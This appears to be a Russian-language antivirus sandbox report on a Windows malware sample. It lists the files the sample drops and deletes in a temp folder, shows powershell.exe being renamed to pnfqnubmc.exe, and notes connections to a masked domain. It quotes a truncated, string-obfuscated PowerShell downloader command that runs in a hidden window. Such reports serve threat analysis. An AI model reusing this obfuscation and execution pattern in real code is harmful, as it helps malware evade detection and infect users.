Техническая информация
Вредоносные функции
Создает и запускает на исполнение (эксплоит)
- '%TEMP%\gtoyikwpk4\ekhtetbmg\pnfqnubmc.exe' $phfdwbccu='OyPvze';$axxrhme='nloa';$ocqylu='$env';$yrndyyo='tionP';$itklp=';';$nseoy0='ope';$FRWnua='.exe''';$yfpou='ttps:/';$IubO='(''h';$acfzov='e'')';$IMsshGc='-Ob';$mcuivarw80='oyikwp';$Yz...
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\gtoyikwpk4\ekhtetbmg\certificate.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.powershell.commands.management.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.powershell.commands.diagnostics.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\importallmodules.psd1
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\default.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_ws-management_cmdlets.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_wmi_cmdlets.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_windows_powershell_ise.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_windows_powershell_2.0.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_wildcards.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_while.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_variables.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_type_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_types.ps1xml.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_try_catch_finally.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_trap.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_transactions.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_throw.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_switch.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_split.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_special_characters.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_signing.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_session_configurations.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_script_internationalization.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_script_blocks.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_scripts.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_scopes.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_return.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_reserved_words.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_requires.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.powershell.commands.utility.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.powershell.consolehost.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.powershell.security.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.wsman.management.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\registry.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\pwrshsip.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\pwrshmsg.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\pspluginwkr.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\psevents.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\powershell_ise.exe
- %TEMP%\gtoyikwpk4\ekhtetbmg\powershelltrace.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\powershellcore.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\powershell.exe
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\troubleshootingpack\troubleshootingpack.psd1
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\troubleshootingpack\troubleshootingpack.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\troubleshootingpack\en-us\microsoft.windows.diagnosis.troubleshootingpack.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\psdiagnostics\psdiagnostics.psm1
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\psdiagnostics\psdiagnostics.psd1
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\bitstransfer\en-us\microsoft.backgroundintelligenttransfer.management.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\bitstransfer\microsoft.backgroundintelligenttransfer.management.interop.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\bitstransfer\en-us\about_bits_cmdlets.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\bitstransfer\bitstransfer.psd1
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\bitstransfer\bitstransfer.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\applocker\en-us\microsoft.security.applicationid.policymanagement.cmdlets.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\applocker\applocker.psd1
- %TEMP%\gtoyikwpk4\ekhtetbmg\help.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\getevent.types.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\filesystem.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\system.management.automation.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\pwrshmsg.dll.mui
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\pspluginwkr.dll.mui
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\psevents.dll.mui
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\powershell_ise.resources.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\powershell.exe.mui
- %TEMP%\gtoyikwpk4\ekhtetbmg\types.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote_troubleshooting.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote_requirements.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote_output.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_functions_advanced_methods.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_functions_advanced.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_functions.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_format.ps1xml.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_foreach.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_for.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_execution_policies.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_eventlogs.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_escape_characters.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_environment_variables.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_do.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_debuggers.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_data_sections.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_core_commands.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_continue.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_comparison_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_commonparameters.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_comment_based_help.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_command_syntax.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_command_precedence.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_break.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_automatic_variables.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_assignment_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_arrays.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_arithmetic_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_aliases.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\dotnettypes.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\diagnostics.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\compiledcomposition.microsoft.powershell.gpowershell.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_functions_advanced_parameters.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_functions_cmdletbindingattribute.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_hash_tables.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_history.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote_faq.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_regular_expressions.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_ref.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_redirection.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_quoting_rules.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_pssnapins.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_pssession_details.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_pssessions.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_providers.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_properties.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_prompts.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_profiles.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_preference_variables.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_path_syntax.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_pipelines.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_parsing.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_parameters.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_objects.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_modules.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_methods.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_logical_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_locations.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_line_editing.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_language_keywords.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_join.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_job_details.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_jobs.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_if.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote_jobs.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\wsman.format.ps1xml
Удаляет следующие файлы
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_aliases.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\powershell.exe.mui
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.wsman.management.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.powershell.security.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.powershell.consolehost.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.powershell.commands.utility.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.powershell.commands.management.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\microsoft.powershell.commands.diagnostics.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\importallmodules.psd1
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\default.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_ws-management_cmdlets.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_wmi_cmdlets.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_windows_powershell_ise.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_windows_powershell_2.0.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_wildcards.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_variables.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\psevents.dll.mui
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_type_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_types.ps1xml.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_try_catch_finally.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_trap.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_transactions.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_throw.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_switch.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_split.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_special_characters.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_signing.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_session_configurations.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_script_internationalization.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_script_blocks.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_while.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_properties.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\pspluginwkr.dll.mui
- %TEMP%\gtoyikwpk4\ekhtetbmg\registry.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\pwrshsip.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\pwrshmsg.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\pspluginwkr.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\psevents.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\powershell_ise.exe
- %TEMP%\gtoyikwpk4\ekhtetbmg\powershelltrace.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\powershellcore.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\pnfqnubmc.exe
- %TEMP%\gtoyikwpk4\ekhtetbmg\help.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\getevent.types.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\filesystem.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\dotnettypes.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\diagnostics.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_scripts.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\powershell_ise.resources.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\troubleshootingpack\troubleshootingpack.psd1
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\troubleshootingpack\troubleshootingpack.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\troubleshootingpack\en-us\microsoft.windows.diagnosis.troubleshootingpack.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\psdiagnostics\psdiagnostics.psm1
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\psdiagnostics\psdiagnostics.psd1
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\bitstransfer\microsoft.backgroundintelligenttransfer.management.interop.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\bitstransfer\bitstransfer.psd1
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\bitstransfer\bitstransfer.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\bitstransfer\en-us\microsoft.backgroundintelligenttransfer.management.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\bitstransfer\en-us\about_bits_cmdlets.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\applocker\applocker.psd1
- %TEMP%\gtoyikwpk4\ekhtetbmg\modules\applocker\en-us\microsoft.security.applicationid.policymanagement.cmdlets.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\examples\profile.ps1
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\system.management.automation.dll-help.xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\certificate.format.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\pwrshmsg.dll.mui
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_scopes.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_return.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_reserved_words.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_do.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_history.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_hash_tables.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_functions_cmdletbindingattribute.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_functions_advanced_parameters.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_functions_advanced_methods.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_functions_advanced.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_functions.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_format.ps1xml.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_foreach.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_for.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_execution_policies.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_eventlogs.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_escape_characters.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\types.ps1xml
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_jobs.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_debuggers.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_data_sections.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_core_commands.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_continue.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_comparison_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_commonparameters.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_comment_based_help.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_command_syntax.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_command_precedence.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_break.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_automatic_variables.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_assignment_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_arrays.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_arithmetic_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_environment_variables.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\compiledcomposition.microsoft.powershell.gpowershell.dll
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_job_details.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_line_editing.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_join.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_requires.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote_troubleshooting.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote_requirements.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote_output.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote_jobs.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote_faq.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_remote.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_regular_expressions.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_ref.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_redirection.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_quoting_rules.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_pssnapins.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_pssession_details.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_language_keywords.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_pssessions.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_if.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_prompts.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_profiles.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_preference_variables.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_pipelines.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_path_syntax.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_parsing.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_parameters.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_objects.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_modules.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_methods.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_logical_operators.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_locations.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\en-us\about_providers.help.txt
- %TEMP%\gtoyikwpk4\ekhtetbmg\wsman.format.ps1xml
Перемещает следующие файлы
- %TEMP%\gtoyikwpk4\ekhtetbmg\powershell.exe в %TEMP%\gtoyikwpk4\ekhtetbmg\pnfqnubmc.exe
Сетевая активность
Подключается к
- 'wh###eywed.com':443
- 'pk#.goog':80
TCP
Запросы HTTP GET
- http://pk#.goog/gsr1/gsr1.crt
Другие
- 'wh###eywed.com':443
UDP
- DNS ASK wh###eywed.com
- DNS ASK pk#.goog
Другое
Создает и запускает на исполнение
- '%TEMP%\gtoyikwpk4\ekhtetbmg\pnfqnubmc.exe' $phfdwbccu='OyPvze';$axxrhme='nloa';$ocqylu='$env';$yrndyyo='tionP';$itklp=';';$nseoy0='ope';$FRWnua='.exe''';$yfpou='ttps:/';$IubO='(''h';$acfzov='e'')';$IMsshGc='-Ob';$mcuivarw80='oyikwp';$Yz...' (со скрытым окном)
